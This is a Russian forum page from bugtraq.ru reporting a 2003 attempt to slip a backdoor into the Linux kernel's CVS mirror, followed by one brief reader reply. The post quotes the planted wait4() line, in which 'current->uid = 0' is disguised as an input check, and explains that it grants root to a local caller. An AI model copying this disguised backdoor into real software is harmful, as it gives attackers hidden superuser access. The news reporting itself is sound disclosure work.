информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Spanning Tree Protocol: недокументированное применениеЗа кого нас держат?Атака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Phrack #70/0x46 
 Возможно, Facebook наступил на... 
 50 лет электронной почте 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / site updates
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Класс! 25.11.03 19:28  Число просмотров: 1167
Автор: choor Статус: Elderman
<"чистая" ссылка>
Вот что называется не защищённая информация... Очень даже интересно uid=0 :)
<site updates>
Еще один неудавшийся бэкдор в ядре Linux 23.11.03 23:35  
Publisher: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Еще один неудавшийся бэкдор в ядре Linux
LWN http://lwn.net/Articles/57135/

Преамбула: для поддержки разработки ядра Linux используется не CVS, а BitKeeper. Соответственно, львиная доля публикуемых ядер (и все ядра, публикуемые на kernel.org) берутся из BitKeeper. Для тех, кто по разным причинам не хочет или не может пользоваться BitKeeper, группа добровольцев поддерживает CVS-зеркало. Изменения в ядре никогда не вносятся напрямую в CVS, только через BitKeeper.
Собственно новость состоит в том, что 6 ноября уже во второй раз (первый был обнаружен 5 ноября, и о нем уже сообщалось) была предпринята попытка внести "небольшое изменение" в CVS-зеркало ядра. Изменение состояло в добавлении двух строк в системный вызов wait4():
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
Выглядит как проверка входных параметров, но если посмотреть на выражение current->uid = 0, то становится ясно, что локальный процесс, вызывающий wait4() с указанным значением options, получает права суперпользователя...

Полный текст
Класс! 25.11.03 19:28  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Вот что называется не защищённая информация... Очень даже интересно uid=0 :)
1






Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2021 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach